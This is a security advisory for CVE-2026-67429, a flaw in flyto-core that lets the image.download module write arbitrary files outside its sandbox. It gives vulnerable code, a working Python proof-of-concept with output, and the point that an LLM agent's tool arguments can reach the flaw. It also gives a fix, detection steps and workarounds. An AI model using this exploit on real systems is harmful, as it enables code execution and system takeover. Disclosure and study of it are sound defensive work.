CVE-2026-67429 is a critical-severity (CVSS 10) Path Traversal vulnerability in flyto-core. A fix is available for flyto-core — see the affected versions and patch details below.
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-67429.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
flyto-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
Affected code
src/core/modules/atomic/image/download.py:
output_path = params.get('output_path')
output_dir = params.get('output_dir', '/tmp') # caller-controlled base
...
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path') # base is attacker-chosen, so always passes
...
content = await response.read() # attacker-hosted bytes
with open(target_real, 'wb') as f:
f.write(content)
commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.
This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.
Reproduction
Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
def log_message(self, *a): pass
async def run(mid, params):
from core.modules.registry import ModuleRegistry
try:
return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
except Exception as e:
return ("EXC", f"{type(e).__name__}: {e}")
async def main():
from core.modules.atomic import register_all
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # OUTSIDE the sandbox
print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
print("B) image.download:", await run("image.download", {
"url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
print("file written outside sandbox?", os.path.exists(target))
if os.path.exists(target):
print("content:", open(target, "rb").read())
if __name__ == "__main__":
asyncio.run(main())
Output:
A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
file written outside sandbox? True
content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'
file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.
Reachability (why this is not operator self-service)
output_dir, output_path and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic execute_module(module_id, params) MCP tool (core/mcp_handler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTO_SANDBOX_DIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.
Impact
Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorized_keys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).
Suggested fix
Use validate_path_with_env_config() for every module that writes files, so all writes are confined to FLYTO_SANDBOX_DIR (a base the caller cannot change), never to a caller-supplied output_dir.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | flyto-core | all versions | 2.26.7pip install --upgrade 'flyto-core==2.26.7' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flyto-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flyto-core to 2.26.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-67429 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-67429 in your dependencies?
Find it across PyPI, including transitive dependencies.